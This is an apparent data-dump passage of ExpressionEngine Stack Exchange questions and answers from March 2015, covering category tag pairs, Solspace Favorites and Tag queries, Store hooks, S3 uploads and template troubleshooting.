  <row Id="30531" PostTypeId="2" ParentId="30529" CreationDate="2015-03-15T07:53:02.563" Score="0" Body="&lt;p&gt;You want to use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;categories tag pair&lt;/a&gt; (not to be confused with exp:channel:categories)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;sermons&quot; limit=&quot;10&quot; orderby=&quot;entry_date&quot; sort=&quot;asc&quot;}&#xA;    &amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{title_permalink='sermons/'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;time&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/time&amp;gt;&#xA;        {categories show_group=&quot;2&quot;}&#xA;            &amp;lt;span class=&quot;speaker&quot;&amp;gt;{category_name}&amp;lt;/span&amp;gt;&#xA;        {/categories}&#xA;        {categories show_group=&quot;3&quot;}&#xA;            &amp;lt;span class=&quot;service&quot;&amp;gt;{category_name}&amp;lt;/span&amp;gt;&#xA;        {/categories}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/.post--&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above assumes that Speaker category group is ID 2 and Service category group is ID 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do it as one loop instead of the two:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {categories show_group=&quot;2|3&quot;}&#xA;        &amp;lt;span class=&quot;{if category_group == 2}speaker{if:elseif category_group == 3}service{/if}&quot;&amp;gt;{category_name}&amp;lt;/span&amp;gt;&#xA;    {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-03-15T07:53:02.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30532" PostTypeId="2" ParentId="23637" CreationDate="2015-03-15T12:05:50.913" Score="0" Body="&lt;p&gt;change the url_title on the channel form tag &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:form channel=&quot;products&quot; return=&quot;product/index&quot; url_title=&quot;{url_title}&quot;}&#xA; &amp;lt;input name=&quot;title&quot; type=&quot;text&quot; value=&quot;{title}&quot;&amp;gt;&#xA; {field:product_description}&#xA; &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;code&gt;url_title=&quot;{segment_1}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2015-03-15T12:05:50.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30535" PostTypeId="2" ParentId="30522" CreationDate="2015-03-15T19:22:31.187" Score="0" Body="&lt;p&gt;I have not used DevDemon's Subscription module personally but there does not appear to be a way to require certain fields outside of payment specific fields. Having said that the easiest approach would be to add an additional field to the template/s in question with a bit of javascript to see if the checkbox filed you added has indeed been checked before reenabling the submit button.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-03-15T19:22:31.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30536" PostTypeId="1" AcceptedAnswerId="30540" CreationDate="2015-03-15T22:04:16.480" Score="0" ViewCount="48" Body="&lt;p&gt;Can somebody help me with the basic construction a Query module query to pull some info out of the Favorites and Tag modules from Solspace? I've tried the following using standard tags but this information isn't available that way, at least as far as I can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Here's what I'm looking to do: Create a list of tags belonging to the entries a user has in their Favorites collections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put differently, a user saves 100 entries (using the Favorites module) and each of those entries has multiple tags. I'd like to list all the tags for all the favorited entries in a user's favorites collections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried various queries but my sql skills are at a novice level and this seems to be an advanced query I don't know how to do. Can anyone please help me? Thanks &lt;/p&gt;&#xA;" OwnerUserId="2876" LastEditorUserId="2876" LastEditDate="2015-03-16T08:56:46.560" LastActivityDate="2015-03-16T08:56:46.560" Title="Help with query syntax" Tags="|solspace-user|solspace-tag|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30537" PostTypeId="2" ParentId="30530" CreationDate="2015-03-16T01:21:30.383" Score="-1" Body="&lt;p&gt;Ok, so I resolved this using paginate_base=&quot;templategroup/template&quot; (paginate_base=&quot;directory/results&quot;)&lt;/p&gt;&#xA;" OwnerUserId="6135" LastActivityDate="2015-03-16T01:21:30.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30540" PostTypeId="2" ParentId="30536" CreationDate="2015-03-16T06:39:17.870" Score="0" Body="&lt;p&gt;This is a common question and similar responses have been provided in other threads, which are good reads to get some inspiration:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12909/create-tag-cloud-of-tags-related-to-the-channel-entries-being-displayed/12956#12956&quot;&gt;Create Tag Cloud of tags related to the channel entries being displayed&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/26667/solspace-tag-display-all-available-tags-from-a-channel-and-related-tag-group/26678#26678&quot;&gt;Solspace tag display all available tags from a channel and related tag group&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We have also (recently) added a page in our &lt;strong&gt;Solspace Solutions&lt;/strong&gt; section on the subject:&#xA;&lt;a href=&quot;http://support.solspace.com/solution/articles/4000047779-create-a-list-of-all-unique-tags-from-a-entries-list&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://support.solspace.com/solution/articles/4000047779-create-a-list-of-all-unique-tags-from-a-entries-list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;p&gt;A summary here, with modifications for Favorites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a list of tags from specific entries in one list, and without tags being repeated (i.e. display a list of unique tags), &lt;code&gt;{exp:tag:cloud}&lt;/code&gt; can't be used because there is no &lt;code&gt;entry_id=&quot;&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;{exp:tag:tags}&lt;/code&gt; is repeated at each &lt;code&gt;{exp:channel:entries}&lt;/code&gt; (&lt;strong&gt;or  &lt;a href=&quot;http://www.solspace.com/docs/favorites/entries/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;{exp:favorites:entries}&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt;) loop, chances are you get duplicates of some tags. You'll need to create an array of unique tags to filter out duplicates. One way to do this is with PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable PHP in your Templates and set it to &lt;strong&gt;Output&lt;/strong&gt;. Then create your array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Start with an empty array --}&#xA;&amp;lt;?php $tags = array(); ?&amp;gt;&#xA;&#xA;{exp:favorites:entries /* your parameters */}&#xA;   {exp:tag:tags entry_id=&quot;{entry_id}&quot;}&#xA;      {!-- add the tag to the array. Duplicate tag_ids will be filtered this way --}&#xA;      &amp;lt;?php tags['{tag_id}'] = '{tag_name}'; ?&amp;gt;&#xA;   {exp:tag:tags}&#xA;{exp:favorites:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now your &lt;code&gt;$tags&lt;/code&gt; array should have unique keys (the &lt;code&gt;tag_id&lt;/code&gt;), and therefore tag_names should be unique as well. Finally, simply loop through the unique list of tags outside of and after &lt;code&gt;{exp:favorites:entries}&lt;/code&gt;. Below we're building a comma-separated list first, then trimming the final comma. Finally, we output the final string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Start with an empty string --}&#xA;&amp;lt;?php $tag_list = ''; ?&amp;gt;    &#xA;&#xA;&amp;lt;?php foreach($tags as $tag) :?&amp;gt;&#xA;   {!-- Concatenate tags --}&#xA;   &amp;lt;?php $tag_list .= $tag . &quot;, &quot;; ?&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt; &#xA;&#xA;{!-- Trim the final extra comma and display to screen --}&#xA;&amp;lt;?php echo rtrim($tag_list, &quot;, &quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are likely other ways to do this, using Stash perhaps, but this uses native tools in EE.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-03-16T06:39:17.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30541" PostTypeId="2" ParentId="30513" CreationDate="2015-03-16T06:52:36.650" Score="0" Body="&lt;p&gt;If all &quot;channels&quot; have the exact same channel custom fields, you could just create 1 channel and assign a common custom field group. You could then differentiate each entry (what you're calling &quot;pages&quot;) based on categories. Your categories would be your city names. With that setup, you could indeed have one template, and entries would display based on the category in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you have a &quot;&lt;code&gt;weather&lt;/code&gt;&quot; template group with a template named &quot;&lt;code&gt;index&lt;/code&gt;&quot;. You could get all entries with the &quot;New York&quot; category by going to:&#xA;&lt;code&gt;http://example.com/weather/category/new-york&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;weather/index&lt;/code&gt; template would likely contain a &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair, at minimum, to display entry data.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: When the template's name is &lt;code&gt;index&lt;/code&gt;, it's is not required in the URL. Any other name would need to have the template's name in the URL, eg. &lt;code&gt;http://example.com/weather/entries/category/new-york&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also note that Solspace Importer is an add-on for &lt;strong&gt;importing channel entry data into a channel based on external data (eg. CSV file)&lt;/strong&gt;. It does not create the actual channel for you, nor does it create custom fields for a channel. It does, however, create entries in your pre-established channel.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-16T06:52:36.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30542" PostTypeId="2" ParentId="30524" CreationDate="2015-03-16T09:09:08.087" Score="1" Body="&lt;p&gt;We figured it out, so we are posting it for the benefit of the community in case someone runs into this in the future. In order to upgrade store to the newest version, we renamed the store folder to '_store' in the third_party folder. For some reason this was being picked up by the store install in EE in only the front-end. The admin panel worked fine, but any store code with pricing in it threw the fatal error. This morning we moved that folder out of third_party and also tested it to being renamed '.store' and it works. So is the class being picked up on one side due to the underscore, but the admin ignores it.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2015-03-16T09:09:08.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30543" PostTypeId="1" AcceptedAnswerId="30553" CreationDate="2015-03-16T10:53:13.827" Score="0" ViewCount="25" Body="&lt;p&gt;We have the following code in our templates, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:favorites:info&#xA; entry_id=&quot;{embed:entry_id}&quot;&#xA; disable_pagination=&quot;yes&quot;&#xA; }&#xA; {exp:favorites:edit&#xA; favorite_id=&quot;{favorites:favorite_id}&quot;&#xA; return=&quot;{embed:return_url}&quot;&#xA; form:style=&quot;display:inline;&quot;&#xA; error_page=&quot;favorites/ajax_error&quot;&#xA; }&#xA;&#xA; {favorites:collection}     &#xA; {/exp:favorites:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:favorites:info}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which works when we have an add or edit button, but if we want the collection name {favorites:collection} it simply spits out the curly braces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NJqs3.png&quot; alt=&quot;collection name - curly braces&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-11-12T09:17:45.927" Title="Solspace Favorites - collection name" Tags="|solspace|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30544" PostTypeId="1" CreationDate="2015-03-16T11:02:28.653" Score="0" ViewCount="18" Body="&lt;p&gt;I have a problem with design when using Solspace Tag that is: Some Word.&#xA;So, using this gets the right class for the submenu element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li {if segment_1 == 'myblog' AND segment_4 == 'work'}class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{site_url}myblog/tagged/tag/work&quot;&amp;gt;Work&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not setup the class for LI-element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li {if segment_1 == 'myblog' AND segment_4 == 'latest&amp;amp;#43;projects'}class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{site_url}myblog/tagged/tag/latest&amp;amp;#43;projects&quot;&amp;gt;Latest Projects&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried +, and with html entities, still no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas how to make the class working on the situation that Tag is SOME WORD = 2 words?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="55" LastEditDate="2015-03-16T11:29:23.063" LastActivityDate="2015-03-16T11:29:23.063" Title="Setting up class for current page with Tag -problem" Tags="|solspace-tag|css|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30545" PostTypeId="2" ParentId="30482" CreationDate="2015-03-16T12:16:01.487" Score="0" Body="&lt;p&gt;Cart Throb's changelog shows that 2.61 includes a fix for this issue.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2015-03-16T12:16:01.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30547" PostTypeId="1" CreationDate="2015-03-16T12:46:51.843" Score="1" ViewCount="37" Body="&lt;p&gt;I have an extension using the store_order_item_add_end hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can set field values such as $item-&gt;price and $item-&gt;weight - but I cannot change the content of $item-&gt;modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried going via the $order-&gt;items array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an existing modifier value I need to update. I can read its contents fine - but any changes I make are never reflected.&lt;/p&gt;&#xA;" OwnerUserId="5006" LastActivityDate="2015-03-16T14:11:23.543" Title="Cannot modify $item-&gt;modifiers in store_order_item_add_end hook" Tags="|expresso-store|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30548" PostTypeId="2" ParentId="30379" CreationDate="2015-03-16T13:33:00.327" Score="2" Body="&lt;p&gt;This would only work if the install of EE had been updated at least once since initial install, but there is a log of version updates found in table exp_update_log.  You've probably already checked this, but I thought it might be worth mentioning in case someone else runs into this issue in the future and didn't realize this table existed.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2015-03-16T13:33:00.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30550" PostTypeId="2" ParentId="30547" CreationDate="2015-03-16T14:11:23.543" Score="1" Body="&lt;p&gt;Apparently the key is to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$modifiers = $item-&gt;modifiers;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// modify the $modifiers data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$item-&gt;setModifiersAttribute($modifiers);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the store_order_item_add_end hook.&lt;/p&gt;&#xA;" OwnerUserId="5006" LastActivityDate="2015-03-16T14:11:23.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30553" PostTypeId="2" ParentId="30543" CreationDate="2015-03-16T17:05:17.043" Score="0" Body="&lt;p&gt;Sorry about that. The correct variable name should in fact be {favorites:collection_name} when used with in the Favorites:Info tag. I have updated the documentation now :)&#xA;&lt;a href=&quot;http://www.solspace.com/docs/favorites/info/#favorites_collection_name&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/favorites/info/#favorites_collection_name&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-03-16T17:05:17.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30554" PostTypeId="1" CreationDate="2015-03-16T18:05:49.560" Score="0" ViewCount="94" Body="&lt;p&gt;I'd like to schedule the sending of emails, created with Firemail, to selected mailing lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the postmaster module may do this, but the client has invested in Firemail and I have the mailing lists and campaigns set up, so I'd rather find another way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at Email Cron and ExpressionEngine cron, but I can't see a way to schedule emails to mailing lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2015-03-17T08:35:12.693" LastActivityDate="2016-05-15T14:11:55.563" Title="Scheduled email campaign with expressionengine" Tags="|email|mailinglist|cron|campaignmonitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30555" PostTypeId="1" CreationDate="2015-03-16T19:18:20.977" Score="0" ViewCount="107" Body="&lt;p&gt;Just trying to get my head around something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I have two channels, one is salespeople and one is courses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I create a multiple selection to courses for one salesperson?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the relevant fields setup in EE but I just cant figure out how to get this onto a form. I can see all of the salespeople and assign and remove them from one or main courses in the back end, so I know that the relationship is working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything I have tried doesn't work......&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more than happy to purchase an add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated it.&lt;/p&gt;&#xA;" OwnerUserId="6058" LastActivityDate="2015-03-16T19:18:20.977" Title="How to multi select relationship field on a channel form" Tags="|safecracker|relationships|related-entries|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30556" PostTypeId="5" CreationDate="2015-03-16T20:50:36.703" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-03-16T20:50:36.703" LastActivityDate="2015-03-16T20:50:36.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30557" PostTypeId="4" CreationDate="2015-03-16T20:50:36.703" Score="0" Body="File storage service offered by Amazon Web Services (AWS), a platform of Amazon.com." OwnerUserId="5" LastEditorUserId="5" LastEditDate="2015-03-16T22:23:20.883" LastActivityDate="2015-03-16T22:23:20.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30558" PostTypeId="1" AcceptedAnswerId="30678" CreationDate="2015-03-16T20:50:52.293" Score="0" ViewCount="143" Body="&lt;p&gt;When attempting to replace an existing file on an S3 source, the upload fails. Here's the sequence of events:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upload file &lt;code&gt;sample_image.jpg&lt;/code&gt; for the first time (works fine)&lt;/li&gt;&#xA;&lt;li&gt;Click 'Upload' and select &lt;code&gt;sample_image.jpg&lt;/code&gt; again from the local filesystem&lt;/li&gt;&#xA;&lt;li&gt;Click 'Replace Existing File' button in modal window when prompted by Assets&lt;/li&gt;&#xA;&lt;li&gt;The Assets loading bar appears but remains empty forever and the new file is not uploaded.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the console, this error displays:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught SyntaxError: Unexpected token &amp;lt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This issue does not happen when uploading to a local directory, only when uploading to an S3 directory.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9.2 &lt;/li&gt;&#xA;&lt;li&gt;Assets 2.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2016-05-13T15:39:47.320" Title="Assets: Unable to Replace File on S3" Tags="|assets|s3|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30559" PostTypeId="1" CreationDate="2015-03-16T22:25:14.133" Score="1" ViewCount="32" Body="&lt;p&gt;This is what I currently have, Ive only been using ee for about 1.5 wks so I'm pretty sure I can't do what I am below. The index and and practice_dangers templates are in the same folder group but had to be in two different channels. Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;aop&quot; disable=&quot;pagination|categories|member_data&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title_path='practice_area/index'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:channel:entries channel=&quot;practice_dangers&quot; dynamic=&quot;no&quot; disable=&quot;pagination|categories|member_data&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{url_title_path='practice_area/practice_dangers'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8cyU.png&quot; alt=&quot;This is how it should look&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8pRWx.png&quot; alt=&quot;This is what it looks like&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6138" LastActivityDate="2015-03-17T17:59:04.823" Title="Having trouble pulling titles from another channel into a sidebar" Tags="|relationships|title|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30561" PostTypeId="2" ParentId="30501" CreationDate="2015-03-17T00:33:16.560" Score="0" Body="&lt;p&gt;There is an issue with the UPS v1.1 installer. If you install this extension without updating from a previous one the installer uses the wrong method. You will need to run this query to get things working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_extensions SET method = 'shipping_methods' WHERE class = 'Store_ups_ext';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-03-17T00:33:16.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30562" PostTypeId="1" CreationDate="2015-03-17T01:06:40.237" Score="0" ViewCount="224" Body="&lt;p&gt;I've been trying to set up a conditional that will display a notification message if there are no entries in the grid. Like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if mygrid:total_rows != &quot;0&quot;} &#xA;&amp;lt;h6&amp;gt; Title &amp;lt;/h6&amp;gt;&#xA;  {mygrid}&#xA;     &amp;lt;p&amp;gt;{mygrid:title}&amp;lt;/p&amp;gt;&#xA;  {/mygrid} &#xA;{if:else}&#xA;&amp;lt;h2&amp;gt;ERROR&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when there are 0 rows the conditional does not execute the ERROR message. I output {mygrid:total_rows} and displays 0 for no rows and 1,2,3... etc if there are entries. If there are grid rows the grid content is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why the conditional won't execute {if:else}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even something like won't execute&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if mygrid:total_rows == &quot;0&quot;} &#xA;  &amp;lt;p&amp;gt; MESSAGE &amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4992" LastActivityDate="2015-03-17T09:33:17.883" Title="How to detect no grid entries" Tags="|grid|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30563" PostTypeId="1" CreationDate="2015-03-17T05:41:17.387" Score="0" ViewCount="34" Body="&lt;p&gt;Please find the below code for load fusionchart on my home page, here 'newurl' loading data.xml from fusionchart folder. This works fine and showing graph, but my issue that, i m trying to load xml page from 'templates-&gt;data-&gt;data.xml'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;fusioncharts/fusioncharts.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div id=&quot;chartContainer&quot;&amp;gt;FusionCharts XT will load here!&amp;lt;/div&amp;gt; &#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;  var myChart = new FusionCharts( &quot;Column3D&quot;, &#xA;                &quot;myid here&quot;, &quot;400&quot;, &quot;300&quot;, &quot;0&quot; );&#xA;  //  var newurl =  &quot;datatest.xml&quot;;&#xA;  var newurl =  &quot;fusioncharts/data.xml&quot;;&#xA;  myChart.setDataURL(newurl);&#xA;  myChart.render(&quot;chartContainer&quot;);      &#xA;&#xA;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the xml page (templates-&gt;data-&gt;data.xml )like ,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;school&quot; entry_id=&quot;{segment_3}&quot; limit=&quot;1&quot;}&#xA;{reverse_related_entries weblog=&quot;school_results&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;graph bgAlpha='0,0' xAxisName='Parties (roll over the bars to see their names)' yAxisName='Seats' showNames='0' decimalPrecision='0' formatNumberScale='0' outCnvBaseFontColor='ffffff' outCnvBaseFont='Verdana' outCnvBaseFontSize='12'&amp;gt;&#xA;{results}&#xA;{if segment_4}&#xA;    {if &quot;{row_count}&quot; &amp;lt;= &quot;{segment_4}&quot;}&#xA;        &amp;lt;set name='{name}' value='{content}' color='{colour}'/&amp;gt;&#xA;    {/if}&#xA;{if:else}&#xA;    &amp;lt;set name='{name}' value='{content}' color='{colour}'/&amp;gt;&#xA;{/if}&#xA;{/results}&#xA;&amp;lt;/graph&amp;gt;&#xA;{/reverse_related_entries}&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can call this , i mean how can call the template file to script?&lt;/p&gt;&#xA;" OwnerUserId="6127" LastEditorUserId="55" LastEditDate="2015-03-17T13:20:21.830" LastActivityDate="2015-06-15T15:23:32.413" Title="FusionChart Issue" Tags="|ee1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30564" PostTypeId="1" CreationDate="2015-03-17T06:55:14.423" Score="0" ViewCount="57" Body="&lt;p&gt;If a private messages is being deleted, it stores into Trash folder. Here, I 'd like to set a time limit and after that time, PM might be permanently deleted from Trash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking for any configuration variable for it but didn't get luck. Could anyone please help me for it.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2015-04-09T11:03:37.040" Title="Set age for the Private Messages within Trash folder" Tags="|members|messages|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30565" PostTypeId="1" CreationDate="2015-03-17T09:28:35.643" Score="1" ViewCount="112" Body="&lt;p&gt;I'm currently in the midst of developing a new EE site and it has been going relatively well. Up until now when I've run into a peculiar problem which I have never encountered previously. (at least 6 other sites running EE currently)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem arises whenever I come to create a new template group within the template manager as the title says. I hit the create group button enter the details and hit save. It redirects back to the template manager as is normal only the new template group does not show up in the template manger list to the side ultimately preventing me creating templates for that group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having checked the database table for template groups the group itself has been created as a new row in the database:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eRYKc.gif&quot; alt=&quot;Database Table showing new row added.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried deleting this row and recreating it within the template manager again however I still get the same issue. My next port of call was to check the template base path and this is correct. I am currently developing in two environments both local and a dev server so my next attempt was to try it on the dev server as I thought 